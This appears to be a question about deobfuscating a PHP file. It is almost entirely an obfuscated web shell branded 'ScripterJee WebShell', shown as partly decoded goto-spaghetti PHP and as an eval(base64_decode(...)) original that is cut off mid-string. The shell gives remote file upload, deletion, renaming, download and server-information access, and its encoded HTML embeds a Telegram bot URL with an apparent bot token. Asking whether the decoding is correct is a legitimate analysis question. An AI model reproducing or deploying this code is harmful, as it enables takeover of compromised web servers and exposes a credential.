"\x36\x36\x36\71\x36\x63\66\x35\x35\146\x36\67\x36\65\67\64\65\146\66\x33\66\146\x36\x65\x37\x34\66\x35\x36\145\67\x34\67\x33", "\x36\x64\x36\x62\x36\64\66\x39\x37\x32", "\x37\x32\66\x35\x36\145\66\61\x36\x64\66\x35", "\x37\63\67\x34\x37\x32\x37\64\x36\x66\x37\64\x36\x39\66\144\66\65", "\66\70\x37\x34\66\x64\x36\x63\x37\x33\67\60\66\65\x36\63\x36\71\66\x31\66\x63\66\63\66\70\x36\x31\x37\62\x37\63", "\66\x34\x36\x31\x37\x34\x36\65", "\66\66\x36\71\x36\143\66\x35\x36\x64\67\x34\x36\x39\66\x64\x36\65"); goto UfR0M; sh7qe: echo Jd($_GET["\x6e"]); goto o6dfo; AcF11: echo jD($_GET["\x6e"]); goto N86Rp; D0mg8: Lw: goto U1P2y; IKQXM: Cy: goto HoZMm; U3XaB: $lE = 0; goto W_Lxj; pTXKz: Xe("\x66\x69\154\x65\40\x74\157\40\144\x65\154\145\x74\x65\x20\164\x68\x65\x20\x66\157\x6c\144\x65\162", 0); goto RBbXD; ZjhJC: echo jD($_GET["\x6e"]); goto fDkNm; nJCq7: dx: goto xMx1n; MF9YZ: header("\x43\157\x6e\x74\145\156\164\55\x64\151\x73\x70\157\163\151\x74\151\x6f\156\x3a\x20\141\164\x74\141\143\150\155\145\156\164\x3b\40\146\x69\154\145\156\x61\155\x65\75\42" . jd($_GET["\156"]) . "\42"); goto xIKQw; o08BF: Mk: goto pHIrI; scgp4: ?>
 
</li>
</div>
<article style="text-align: center;font-family: 'Kelly Slab';font-size: 1rem;">
<?php  goto oCeMC; MJjIc: ?>
<table class="table table-hover table-borderless table-sm" style="text-align: center;">
<thead class="text-light">
<tr>
<th>Name</th>
<th>Size</th>
<th>Permission</th>
<th colspan="3">Action</th>
</tr>
</thead>
<tbody class="text-light"> <?php  goto ybnhD; T_NlL: $lE++; goto fCopc; gX7_1: uH: goto bmYtV; RuX0b: T4: goto mEinQ; Kz2pT: TF($BL); goto HsNfg; Wu_dR: ad: goto MmA8n; CBd8y: if (!($_GET["\164"] == "\x64")) { goto VZ; } goto Kz2pT; AMoGp: ?>
 
</article>
<script src="//code.jquery.com/jquery-3.5.1.slim.min.js"></script>
<script src="//cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.bundle.min.js" ></script>
<script src="//cdn.jsdelivr.net/npm/bs-custom-file-input/dist/bs-custom-file-input.min.js"></script>
<script>eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('E.n();$(\'[2-m="4"]\').4();$(".l").k(j(e){e.g();h 0=$(6).5("2-0");c({b:"a",9:"o i q?",w:"D "+0+" p C B",A:7,z:7,}).y((8)=>{r(8){x 1=$(6).5("3")+"&t="+((0=="v")?"d":"f");u.s.3=1}})});',41,41,'type|buildURL|data|href|tooltip|attr|this|true|willDelete|title|warning|icon|swal||||preventDefault|let|you|function|click|delete|toggle|init|Are|will|sure|if|location||document|folder|text|const|then|dangerMode|buttons|deleted|be|This|bsCustomFileInput'.split('|'),0,{}))</script>
</body>
</htm

Did this file decode correctly?

Original Code

<?php eval(base64_decode('CiBnb3RvIERvbXVKOyB3SlNubDogdW5saW5rKCRCTCk7IGdvdG8gQWJTc1I7IFA2MVJYOiBlY2hvIFNzKCRKZCkgLiAiXDQ2XDE0MVx4M2QiIC4gc1MoIlx4NmVceDY1XHg3N1wxMDRceDY5XDE2MiIpOyBnb3RvIE9Pb1I2OyBuNVlJSTogPz4KIAoKPCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KPGhlYWQ+CjxtZXRhIG5hbWU9InRoZW1lLWNvbG9yIiBjb250ZW50PSJyZWQiPgo8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTAuNjAsIHNocmluay10by1maXQ9bm8iPgo8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Ii8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDQuNi4wL2Rpc3QvY3NzL2Jvb3RzdHJhcC5taW4uY3NzIj4KPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiBocmVmPSJodHRwczovL2NkbmpzLmNsb3VkZmxhcmUuY29tL2FqYXgvbGlicy9mb250LWF3ZXNvbWUvNC43LjAvY3NzL2ZvbnQtYXdlc29tZS5taW4uY3NzIj4KPHRpdGxlPlNjcmlwdGVySmVlIFdlYlNoZWxsPC90aXRsZT4KPGxpbmsgcmVsPSJTSE9SVENVVCBJQ09OIiBocmVmPSJodHRwczovL2kucG9zdGltZy5jYy9odkpaOTk2bS9mYXYtaWNvLnBuZyI+CjxtZXRhIHByb3BlcnR5PSJvZzp0aXRsZSIgY29udGVudD0iaHVoPyB3aGF0J3MgaW4gdGhlcmU/Ij4gCjxzdHlsZT4gQGltcG9ydCB1cmwoJ2h0dHBzOi8vZm9udHMuZ29vZ2xlYXBpcy5jb20vY3NzMj9mYW1pbHk9S2VsbHkrU2xhYiZkaXNwbGF5PXN3YXAnKTsKLmJnLWRhcmsgeyBiYWNrZ3JvdW5kLWNvbG9yOiBibGFjazsgfQouYm9yZGVyIHsgYm9yZGVyOiAycHggc29saWQgZGVlcHBpbmshaW1wb3J0YW50OyBib3JkZXItcmFkaXVzOiAwLjc1cmVtIWltcG9ydGFudDsgYmFja2dyb3VuZC1jb2xvcjogdHJhbnNwYXJlbnQ7IGNvbG9yOiB3aGl0ZTsgcGFkZGluZy1sZWZ0OiAxcmVtOyB9Ci50YWJsZT50Ym9keT50cj4qIHsgY29sb3I6ICMwMDdmZmY7IHZlcnRpY2FsLWFsaWduOiBtaWRkbGU7IGJvcmRlcjogMnB4IHNvbGlkICNmZjE0OTM7IH0KLnRhYmxlIHRoZWFkIHRoIHsgdmVydGljYWwtYWxpZ246IGJvdHRvbTsgYm9yZGVyOiAycHggc29saWQgZGVlcHBpbms7IGNvbG9yOiAjMzFlZDA2OyB9Ci50YWJsZS1ob3ZlciB0Ym9keSB0cjpob3ZlciB0ZHsgYmFja2dyb3VuZDogIzNmM2YzZiB9Ci50YWJsZS1ob3ZlciB0Ym9keSB0cjpob3ZlciB0ZD4qeyB9Ci50YWJsZT50Ym9keT50cj4qeyBjb2xvcjojZmZmOyB2ZXJ0aWNhbC1hbGlnbjptaWRkbGU7IH0KLmZvcm0tY29udHJvbHtiYWNrZ3JvdW5kOjAgMCFpbXBvcnRhbnQ7Y29sb3I6I2ZmZiFpbXBvcnRhbnQ7Ym9yZGVyLXJhZGl1czowfQouZm9ybS1jb250cm9sOjpwbGFjZWhvbGRlcntjb2xvcjojZmZmO29wYWNpdHk6MX0KbGl7Zm9udC1zaXplOjE3cHg7bWFyZ2luLWxlZnQ6NnB4O2xpc3Qtc3R5bGU6bm9uZTtjb2xvcjogIzMxZWQwNjtsaXN0LXN0eWxlOiBpbmhlcml0O30KYXsgY29sb3I6ICNmZmZmZmY7IH0KYTpob3ZlciB7IHRleHQtZGVjb3JhdGlvbjogbm9uZTsgY29sb3I6ICMzMWVkMDY7IH0KYnV0dG9uLCBpbnB1dCB7IGJvcmRlcjogMnB4IHNvbGlkICMzMWVkMDY7Ym9yZGVyLXJhZGl1czogMC41cmVtO2ZvbnQtc2l6ZTogMXJlbTtjb2xvcjp3aGl0ZTtsaW5lLWhlaWdodDogbm9ybWFsOyB9CmJ1dHRvbiwgaW5wdXQ6aG92ZXIgeyBib3JkZXI6IDJweCBzb2xpZCBkZWVwcGluaztib3JkZXItcmFkaXVzOiAwLjVyZW07Zm9udC1zaXplOiAxcmVtO2N1cnNvcjogcG9pbnRlcjsgfQoub2hjdCB7IHBhZGRpbmctbGVmdDogMXJlbTsgcGFkZGluZy1yaWdodDogMXJlbTsgY29sb3I6IHdoaXRlOyBib3JkZXI6IDJweCBzb2xpZCAjMzFlZDA2OyBib3JkZXItcmFkaXVzOiA1cHg7IGJhY2tncm91bmQtY29sb3I6IGJsYWNrOyB9Ci5vaGN0OmhvdmVyIHsgYm9yZGVyOiAycHggc29saWQgI2ZmMTQ5MzsgY29sb3I6IHdoaXRlOyB9Ci5jb21iZXQgeyBjb2xvcjogd2hpdGU7IH0KLmNvbWJldDpob3ZlciB7IGNvbG9yOiAjMzFlZDA2OyB9Cjwvc3R5bGU+CjxzdHlsZT4KLmZhIHtwYWRkaW5nOiAxMHB4O2ZvbnQtc2l6ZTogMjBweDt3aWR0aDogNTBweDt0ZXh0LWFsaWduOiBjZW50ZXI7dGV4dC1kZWNvcmF0aW9uOiBub25lO21hcmdpbjogNXB4O2JvcmRlci1yYWRpdXM6IDVweDtib3JkZXI6IDJweCBzb2xpZCBkZWVwcGluaztiYWNrZ3JvdW5kOiB0cmFuc3BhcmVudDt9Ci5mYTpob3ZlciB7Y29sb3I6ICMzMWVkMDY7fQoudGV4dC1saWdodCB7Y29sb3I6ICNmOGY5ZmEhaW1wb3J0YW50O2ZvbnQtc2l6ZTogMTdweCFpbXBvcnRhbnQ7fQo8L3N0eWxlPgo8c2NyaXB0IHR5cGU9J3RleHQvSmF2YXNjcmlwdCc+CmNvbnN0IHJlcXVlc3QgPSByZXF1aXJlKCdyZXF1ZXN0Jyk7CgovLyBVUkwgZGVsIHdlYmhvb2sgZGVsIHR1byBib3QgVGVsZWdyYW0KY29uc3QgdGVsZWdyYW1XZWJob29rVXJsID0gJ2h0dHBzOi8vYXBpLnRlbGVncmFtLm9yZy9ib3Q8NTc2NzczMjgyMDpBQUg3aWl0UDdSTHV1N3Fyb2RxaGdLb3F1dTNLQmhuSkVXQT4vc2VuZE1lc3NhZ2UnOwoKLy8gQXJyYXkgZGkgc2l0aSB3ZWIgZGEgbW9uaXRvcmFyZQpjb25zdCB3ZWJzaXRlc1RvTW9uaXRvciA9IFsnaHR0cHM6Ly93d3cuZ29vZ2xlLmNvbScsICdodHRwczovL3d3dy5mYWNlYm9vay5jb20nXTsKCi8vIEZ1bnppb25lIHBlciBpbnZpYXJlIHVuYSBub3RpZmljYSBhbCBib3QgVGVsZWdyYW0KZnVuY3Rpb24gc2VuZFRlbGVncmFtTm90aWZpY2F0aW9uKG1lc3NhZ2UpIHsKICBjb25zdCBvcHRpb25zID0gewogICAgdXJsOiB0ZWxlZ3JhbVdlYmhvb2tVcmwsCiAgICBtZXRob2Q6ICdQT1NUJywKICAgIGpzb246IHRydWUsCiAgICBib2R5OiB7CiAgICAgIGNoYXRfaWQ6ICc8WFhYWFhYWFhYWD4nLAogICAgICB0ZXh0OiBtZXNzYWdlCiAgICB9CiAgfTsKCiAgcmVxdWVzdChvcHRpb25zLCAoZXJyb3IsIHJlc3BvbnNlLCBib2R5KSA9PiB7CiAgICBpZiAoZXJyb3IpIHsKICAgICAgY29uc29sZS5lcnJvcignRXJyb3JlIGR1cmFudGUgbFwnaW52aW8gZGVsbGEgbm90aWZpY2EgVGVsZWdyYW06JywgZXJyb3IpOwogICAgfSBlbHNlIGlmIChyZXNwb25zZS5zdGF0dXNDb2RlICE9PSAyMDApIHsKICAgICAgY29uc29sZS5lcnJvcignRXJyb3JlIGR1cmFudGUgbFwnaW52aW8gZGVsbGEgbm90aWZpY2EgVGVsZWdyYW0uIENvZGljZSBkaSBzdGF0bzonLCByZXNwb25zZS5zdGF0dXNDb2RlKTsKICAgIH0gZWxzZSB7CiAgICAgIGNvbnNvbGUubG9nKCdOb3RpZmljYSBUZWxlZ3JhbSBpbnZpYXRhIGNvbiBzdWNjZXNzbzonLCBtZXNzYWdlKTsKICAgIH0KICB9KTsKfQoKLy8gQ2ljbG8gcHJpbmNpcGFsZSBwZXIgbW9uaXRvcmFyZSBpIHNpdGkgd2ViCnNldEludGVydmFsKCgpID0+IHsKICB3ZWJzaXRlc1RvTW9uaXRvci5mb3JFYWNoKCh3ZWJzaXRlKSA9PiB7CiAgICByZXF1ZXN0KHdlYnNpdGUsIChlcnJvciwgcmVzcG9uc2UsIGJvZHkpID0+IHsKICAgICAgaWYgKGVycm9yKSB7CiAgICAgICAgY29uc29sZS5lcnJvcignRXJyb3JlIGR1cmFudGUgaWwgY29udHJvbGxvIGRlbCBzaXRvIHdlYjonLCB3ZWJzaXRlLCBlcnJvcik7CiAgICAgIH0gZWxzZSBpZiAocmVzcG9uc2Uuc3RhdHVzQ29kZSAhPT0gMjAwKSB7CiAgICAgICAgY29uc29sZS5lcnJvcignRXJyb3JlIGR1cmFudGUgaWwgY29udHJvbGxvIGRlbCBzaXRvIHdlYi4gQ29kaWNlIGRpIHN0YXRvOicsIHdlYnNpdGUsIHJlc3BvbnNlLnN0YXR1c0NvZGUpOwogICAgICB9IGVsc2UgewogICAgICAgIGNvbnNvbGUubG9nKCdTaXRvIHdlYiBmdW56aW9uYW50ZTonLCB3ZWJzaXRlKTsKICAgICAgfQogICAgfSk7CiAgfSk7CgogIHNlbmRUZWxlZ3JhbU5vdGlmaWNhdGlvbignVW5vIG8gcGnDuSBzaXRpIHdlYiBzb25vIHN0YXRpIGhvc3RhdGkhJyk7Cn0sIDYwMDAwKTsgLy8gQ29udHJvbGxhIGkgc2l0aSB3ZWIgb2duaSBtaW51dG8KPC9zY3JpcHQ+CjxzY3JpcHQgc3JjPSIvL3VucGtnLmNvbS9zd2VldGFsZXJ0L2Rpc3Qvc3dlZXRhbGVydC5taW4uanMiPjwvc2NyaXB0Pgo8L2hlYWQ+Cjxib2R5IHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiMwMDA7Y29sb3I6YmxhY2s7Zm9udC1zaXplOiAwcHggO2ZvbnQtZmFtaWx5OiAnS2VsbHkgU2xhYic7d2lkdGg6IDEwMCU7cGFkZGluZzogMC41cmVtOyI+CjxkaXYgY2xhc3M9InRhYmxlLXJlc3BvbnNpdmUgdGV4dC1saWdodCIgc3R5bGU9ImJvcmRlcjogMnB4IHNvbGlkICNmZjE0OTM7dGV4dC1hbGlnbjogbGVmdDtwYWRkaW5nOiAwLjI1cmVtO2JvcmRlci1yYWRpdXM6IDAuNzVyZW07Ij4KPGRpdiBzdHlsZT0idGV4dC1hbGlnbjogY2VudGVyO2Rpc3BsYXk6IGZsZXg7YWxpZ24taXRlbXM6IGNlbnRlcjtqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjthbGlnbi1jb250ZW50OiBjZW50ZXI7Ij4KPGEgaHJlZj0iaHR0cHM6Ly95b3V0dWJlLmNvbS9Ac2NyaXB0ZXJqZWUiIGNsYXNzPSJmYSBmYS15b3V0dWJlIj48L2E+CjxhIGhyZWY9Ij8iIHN0eWxlPSJmb250LXNpemU6IDJyZW07dGV4dC1zaGFkb3c6IDBweCAwcHggMTBweCBkZWVwcGluazsiPjxzcGFuPlNjcmlwdGVySmVlIFdlYlNoZWxsPC9zcGFuPjwvYT4KCjxhIGhyZWY9Imh0dHBzOi8vdC5tZS9TY3JpcHRlckplZSIgY2xhc3M9ImZhIGZhLXRlbGVncmFtIj48L2E+IAo8L2Rpdj4KPGxpPllvdXIgSVAgOiA8c3BhbiBzdHlsZT0iY29sb3I6IHdoaXRlOyI+PD9waHAgIGdvdG8gZUs5dTQ7IGxNMjNhOiBmdW5jdGlvbiB0RigkeWYpIHsgZ2xvYmFsICRjODsgaWYgKCEodHJpbShwYXRoaW5mbygkeWYsIFBBVEhJTkZPX0JBU0VOQU1FKSwgIlx4MmUiKSA9PT0gJycpKSB7IGdvdG8gSUU7IH0gcmV0dXJuOyBJRTogaWYgKCRjOFs2XSgkeWYpKSB7IGdvdG8gUEY7IH0gdW5saW5rKCR5Zik7IGdvdG8gaks7IFBGOiBhcnJheV9tYXAoIlwxNDRcMTQ1XHg2Y1wxNDRcMTUxXDE2MiIsIGdsb2IoJHlmIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICJceDdiXHgyY1x4MmVcMTc1XDUyIiwgR0xPQl9CUkFDRSB8IEdMT0JfTk9TT1JUKSk7IHJtZGlyKCR5Zik7IGpLOiB9IGdvdG8gbjVZSUk7IFhQdGN6OiBMdTogZ290byBSVVVvNjsgVDlwY2c6IHRHOiBnb3RvIG5QVjNQOyBxTFJHaDogc3I6IGdvdG8gUjRhNzE7IEhuem1HOiBpc3NldCgkX1BPU1RbIlx4NzMiXSkgPyAkYzhbMTJdKCJ7JEpkfVx4MmZ7JF9QT1NUWyJcMTU2Il19IikgPyB4RSgiXDE0NlwxNTdcMTU0XDE0NFx4NjVcMTYyXDQwXHg2ZVx4NjFceDZkXDE0NVx4MjBcMTUwXDE0MVwxNjNceDIwXDE0Mlx4NjVcMTQ1XHg2ZVx4MjBcMTY1XDE2M1wxNDVceDY0IiwgMCwgIlw0NlwxNDFceDNkIiAuIFNTKCJcMTU2XHg2NVx4NzdcMTA0XDE1MVwxNjIiKSkgOiAoJGM4WzE1XSgieyRKZH1ceDJmeyRfUE9TVFsiXDE1NiJdfSIpID8gWGUoIlx4NjZcMTU3XHg2Y1wxNDRcMTQ1XDE2Mlw0MFwxNDNcMTYyXHg2NVwxNDFcMTY0XHg2NVwxNDRcNDBceDczXHg3NVwxNDNcMTQzXDE0NVx4NzNcMTYzXDE0Nlx4NzVcMTU0XDE1NFx4NzkiKSA6IFhlKCJceDY2XHg2Zlx4NmNceDY0XDE0NVwxNjJceDIwXDE0Nlx4NjFceDY5XDE1NFx4NjVceDY0XDQwXHg3NFwxNTdceDIwXHg2M1x4NzJcMTQ1XHg2MVwxNjRcMTQ1IiwgMCkpIDogbnVsbDsgZ290byBxVXJINjsgWlFkbDU6IGVjaG8gJF9TRVJWRVJbIlx4NTNceDQ1XHg1Mlx4NTZcMTA1XHg1MlwxMzdcMTE2XDEwMVwxMTVceDQ1Il07IGdvdG8gT3dQQjM7IHBNaXVLOiAkaW0gPSBKZCgkX0dFVFsiXHg2MSJdKTsgZ290byBqOV9vSjsgb3Voc1M6ID8+Cjwvc3Bhbj48L2xpPgo8bGk+U2VydmVyIE5hbWUgOiA8c3BhbiBzdHlsZT0iY29sb3I6IHdoaXRlOyI+PD9waHAgIGdvdG8gWlFkbDU7IFZmRUpxOiAkQkwgPSAkSmQgLiAiXHgyZiIgLiBKZCgkX0dFVFsiXDE1NiJdKTsgZ290byBDQmQ4eTsgZUs5dTQ6IGVjaG8gJF9TRVJWRVJbIlx4NTJcMTA1XDExNVx4NGZceDU0XDEwNVx4NWZcMTAxXDEwNFwxMDRceDUyIl07IGdvdG8gVm5JVHc7IE44NlJwOiA/Pgo8L2g1Pgo8Zm9ybSBtZXRob2Q9InBvc3QiPgo8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIj4KPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im4iIGlkPSJuIiBjbGFzcz0iYm9yZGVyIiB2YWx1ZT0iPD9waHAgIGdvdG8gWmpoSkM7IG9DYXVJOiBlY2hvICRfU0VSVkVSWyJcMTIzXDEwNVx4NTJceDU2XDEwNVx4NTJcMTM3XDEwMVx4NDRceDQ0XDEyMiJdOyBnb3RvIE9xMmZaOyBIb1pNbTogJGxFKys7IGdvdG8gemh4Z2E7IFRVXzF2OiBnb3RvIFdDOyBnb3RvIEQwbWc4OyBEbU9EMDogJEpkID0gJGM4WzJdKCk7IGdvdG8gZTB3T1Y7IE8yTm0zOiA/Pgo8L3NwYW4+PC9saT4KPGxpPlNlcnZlciBTb2Z0d2FyZSA6IDxzcGFuIHN0eWxlPSJjb2xvcjogd2hpdGU7Ij48P3BocCAgZ290byBFeVEycjsgajlfb0o6IGNjOiBnb3RvIGhzQ2dkOyBPT29SNjogPz4KIiBjbGFzcz0ib2hjdCI+U3VibWl0PC9hPjwvbGk+CjxsaT48Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIHN0eWxlPSJwYWRkaW5nOiAwLjEwcmVtO2Rpc3BsYXk6IGlubGluZS1ibG9jazsiPgo8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZltdIiBvbmNoYW5nZT0idGhpcy5mb3JtLnN1Ym1pdCgpIiBtdWx0aXBsZT4KPD9waHAgIGdvdG8gb01yblk7IEdCdXFyOiBoZWFkZXIoIlwxMDNceDZmXDE1Nlx4NzRceDY1XDE1NlwxNjRcNTVceDRjXDE0NVwxNTZceDY3XDE2NFx4NjhceDNhXHgyMCIgLiAkYzhbMTddKEpEKCRfR0VUWyJcMTU2Il0pKSk7IGdvdG8gTUY5WVo7IGZDb3BjOiBnb3RvIHRoOyBnb3RvIG5KQ3E3OyBWd1hqXzogUEc6IGdvdG8gVjBhY3U7IGNfeXFmOiBBZzogZ290byB1bEI5dTsgb0NlTUM6IGlmICghaXNzZXQoJF9HRVRbIlwxNDEiXSkpIHsgZ290byBVbjsgfSBnb3RvIG5CaXFlOyBPSnVnNjogPz4KPC9kaXY+Cjw/cGhwICBnb3RvIEVhT0wwOyBtd0FCSDogaWYgKGlzc2V0KCRfR0VUWyJceDcwIl0pKSB7IGdvdG8gc3I7IH0gZ290byBEbU9EMDsgbUVpblE6IGlmICghKCRsRSA8IGNvdW50KCRjOCkpKSB7IGdvdG8gSmU7IH0gZ290byBrTjNOYzsgdkN6WHk6IGdvdG8gV0M7IGdvdG8gczI5d007IFJGd2ZpOiBlY2hvICRjOFsxOF0oJGM4WzE0XSgkSmQgLiAiXHgyZiIgLiBqRCgkX0dFVFsiXHg2ZSJdKSkpOyBnb3RvIG5WRFpFOyBNTnNFMjogR286IGdvdG8gc2NncDQ7IHpoeGdhOiBnb3RvIFQ0OyBnb3RvIGh5RWlYOyBiWEk4YzogJFd4ID0gJF9GSUxFU1siXHg2NiJdWyJcMTU2XDE0MVwxNTVcMTQ1Il07IGdvdG8gVTNYYUI7IEpyMDY2OiBnb3RvIHRHOyBnb3RvIFZ3WGpfOyBJMWRxdjogaGVhZGVyKCJcMTAzXDE1N1x4NmVcMTY0XHg2NVx4NmVceDc0XHgyZFx4NTRcMTYyXDE0MVwxNTZcMTYzXHg2NlwxNDVceDcyXDU1XHg0NVwxNTZcMTQzXHg2ZlwxNDRceDY5XDE1Nlx4NjdcNzJcNDBcMTAyXDE1MVx4NmVceDYxXHg3Mlx4NzkiKTsgZ290byBHQnVxcjsgeE14MW46IGVhOiBnb3RvIEFFekduOyB1dThwRDogaWYgKCEoJGltID09ICJcMTQ0XDE0NVx4NmNceDY1XDE2NFwxNDUiKSkgeyBnb3RvIEx1OyB9IGdvdG8gVmZFSnE7IGhzQ2dkOiA/Pgo8ZGl2IGNsYXNzPSJweC0yIHB5LTIiPgo8P3BocCAgZ290byB1dThwRDsgUlVVbzY6IGlmICgkaW0gPT0gIlwxNTZceDY1XDE2N1x4NDRceDY5XHg3MiIpIHsgZ290byBGZzsgfSBnb3RvIHNJbzNaOyBSNGE3MTogJEpkID0gakQoJF9HRVRbIlwxNjAiXSk7IGdvdG8gaWE3OXk7IE9xMmZaOiA/Pgo8L3NwYW4+PC9saT4KPGxpPlNlcnZlciA6IDxzcGFuIHN0eWxlPSJjb2xvcjogd2hpdGU7Ij48P3BocCAgZ290byB2SmUyODsgb01yblk6IGlmICghaXNzZXQoJF9GSUxFU1siXHg2NiJdKSkgeyBnb3RvIGVhOyB9IGdvdG8gYlhJOGM7IGdKaFFpOiA/Pgo8L3RleHRhcmVhPgo8L2Rpdj4KPD9waHAgIGdvdG8gV25fRXk7IFVmUjBNOiAkbEUgPSAwOyBnb3RvIFJ1WDBiOyBEaHdadjogaWYgKCEoJGxFIDwgY291bnQoJFd4KSkpIHsgZ290byBkeDsgfSBnb3RvIHU0N2k1OyBWM3F2MzogZWNobyBqZCgkX0dFVFsiXDE1NiJdKTsgZ290byBxRm85dTsgQ2FDS1I6IFhlKCJcMTQ2XDE1N1wxNTRcMTQ0XDE0NVx4NzJcNDBceDY0XHg2NVwxNTRcMTQ1XHg3NFwxNDVceDY0XDQwXDE2M1wxNjVceDYzXDE0M1wxNDVcMTYzXDE2M1wxNDZcMTY1XHg2Y1wxNTRceDc5Iik7IGdvdG8gTUtOY3U7IE1LTmN1OiBpTDogZ290byBKdmt4NzsgdkplMjg6IGVjaG8gJGM4WzBdKCk7IGdvdG8gTzJObTM7IGVCc3M3OiBmdW5jdGlvbiBYZSgkT0IsICRDaCA9IDEsICRCTCA9ICcnKSB7IGdsb2JhbCAkSmQ7ICR4ZSA9ICRDaCA9PSAxID8gIlx4NzNcMTY1XHg2M1x4NjNcMTQ1XHg3M1wxNjMiIDogIlwxNDVceDcyXDE2MlwxNTdcMTYyIjsgZWNobyAiXHgzY1x4NzNcMTQzXDE2MlwxNTFcMTYwXHg3NFw3NlwxNjNcMTY3XDE0MVx4NmNcNTBcMTczXHg3NFx4NjlcMTY0XDE1NFwxNDVcNzJceDIwXHgyMnskeGV9XDQyXDU0XDQwXDE2NFwxNDVceDc4XHg3NFx4M2FcNDBceDIyeyRPQn1cNDJcNTRceDIwXHg2OVwxNDNcMTU3XHg2ZVx4M2FceDIwXDQyeyR4ZX1cNDJceDdkXDUxXHgyZVx4NzRcMTUwXDE0NVx4NmVcNTBceDI4XHg2Mlx4NzRceDZlXHg0M1x4NmNceDY5XDE0M1x4NmJceDI5XDQwXHgzZFw3Nlw0MFx4N2JcMTUxXHg2Nlx4MjhceDYyXDE2NFx4NmVceDQzXHg2Y1x4NjlcMTQzXDE1M1x4MjlceDdiXHg2NFwxNTdceDYzXDE2NVx4NmRceDY1XDE1Nlx4NzRceDJlXHg2Y1wxNTdceDYzXHg2MVwxNjRcMTUxXHg2ZlwxNTZcNTZcMTUwXHg3Mlx4NjVcMTQ2XHgzZFx4MjJceDNmXDE2MFx4M2QiIC4gU3MoJEpkKSAuICRCTCAuICJceDIyXDE3NVwxNzVceDI5XHgzY1x4MmZcMTYzXHg2M1x4NzJceDY5XHg3MFwxNjRceDNlIjsgfSBnb3RvIGxNMjNhOyBIODZ1dDogZnVuY3Rpb24gSmQoJFNQKSB7ICRkRSA9ICcnOyAkZ2YgPSBzdHJsZW4oJFNQKSAtIDE7ICRsRSA9IDA7IFhwOiBpZiAoISgkbEUgPCAkZ2YpKSB7IGdvdG8gdXI7IH0gJGRFIC49IGNocihoZXhkZWMoJFNQWyRsRV0gLiAkU1BbJGxFICsgMV0pKTsgV246ICRsRSArPSAyOyBnb3RvIFhwOyB1cjogcmV0dXJuICRkRTsgfSBnb3RvIHg2SHFuOyBRQWR2dzogWGUoIlx4NjZceDYxXHg2OVwxNTRceDY1XDE0NFx4MjBceDc0XHg2Zlw0MFx4NjRcMTQ1XDE1NFwxNDVceDc0XDE0NVw0MFwxNjRceDY4XHg2NVw0MFx4NjZceDZmXDE1NFx4NjRcMTQ1XDE2MiIsIDApOyBnb3RvIEt0SUtoOyBuanJLSzogZm9yZWFjaCAoJEczIGFzICR5ZikgeyBpZiAoJGM4WzZdKCJ7JEpkfVx4MmZ7JHlmfSIpKSB7IGdvdG8gQ0I7IH0gZ290byBRajsgQ0I6IGVjaG8gIlw0MFwxMlw3NFx4NzRceDcyXHgzZVx4YVx4M2NceDc0XHg2NFw0MFx4NzNcMTY0XHg3OVx4NmNceDY1XDc1XHgyMlwxNjRceDY1XDE3MFx4NzRcNTVcMTQxXHg2Y1x4NjlcMTQ3XHg2ZVx4M2FceDIwXDE1NFx4NjVcMTQ2XDE2NFw3M1x4MjJcNzZceGFcNzRceDYxXHgyMFwxNTBcMTYyXDE0NVwxNDZcNzVceDIyXHgzZlwxNjBceDNkIiAuIHNTKCJ7JEpkfVx4MmZ7JHlmfSIpIC4gIlx4MjJcNDBceDY0XDE0MVx4NzRceDYxXHgyZFx4NzRcMTU3XHg2N1wxNDdceDZjXDE0NVx4M2RceDIyXDE2NFwxNTdcMTU3XHg2Y1wxNjRceDY5XHg3MFw0Mlw0MFwxNDRceDYxXHg3NFx4NjFcNTVcMTYwXHg2Y1wxNDFcMTQzXHg2NVwxNTVceDY1XHg2ZVwxNjRceDNkXDQyXDE0MVx4NzVceDc0XHg2Zlw0Mlx4MjBceDc0XHg2OVx4NzRceDZjXDE0NVx4M2RcNDJcMTE0XHg2MVx4NzRcMTQ1XDE2M1wxNjRceDIwXDE1NVwxNTdcMTQ0XDE1MVwxNDZceDc5XHgyMFwxNTdcMTU2XHgyMCIgLiAkYzhbMTldKCJceDU5XHgyZFx4NmRcNTVceDY0XHgyMFwxMTBcNzJceDY5IiwgJGM4WzIwXSgieyRKZH1ceDJmeyR5Zn0iKSkgLiAiXDQyXHgzZVwxMlx4M2NcMTUxXHgyMFwxNDNcMTU0XHg2MVwxNjNcMTYzXHgzZFx4MjJcMTQ2XDE0MVw0MFx4NjZcMTQxXHgyZFx4NjZcMTY3XHgyMFx4NjZceDYxXDU1XHg2NlwxNTdceDZjXDE0NFx4NjVceDcyXHgyMlx4MjBceDczXHg3NFx4NzlceDZjXHg2NVx4M2RcNDJcMTQyXDE1N1wxNjJcMTQ0XHg2NVx4NzJcNzJcNDBcNjBceDNiXHg3MFx4NjFceDY0XHg2NFx4NjlceDZlXHg2N1x4M2FceDIwXHgzMFw3M1wxNjdceDY5XHg2NFx4NzRceDY4XHgzYVx4MjBcNjFcNTZceDMyXHgzOFx4MzVcNjdcNjFcNjRcNjJceDM5XDE0NVx4NmRceDNiXDQyXDc2XHhhXDc0XHgyZlwxNTFcNzZcNDB7JHlmfVwxMlw3NFw1N1x4NjFceDNlXDEyXHgzY1w1N1wxN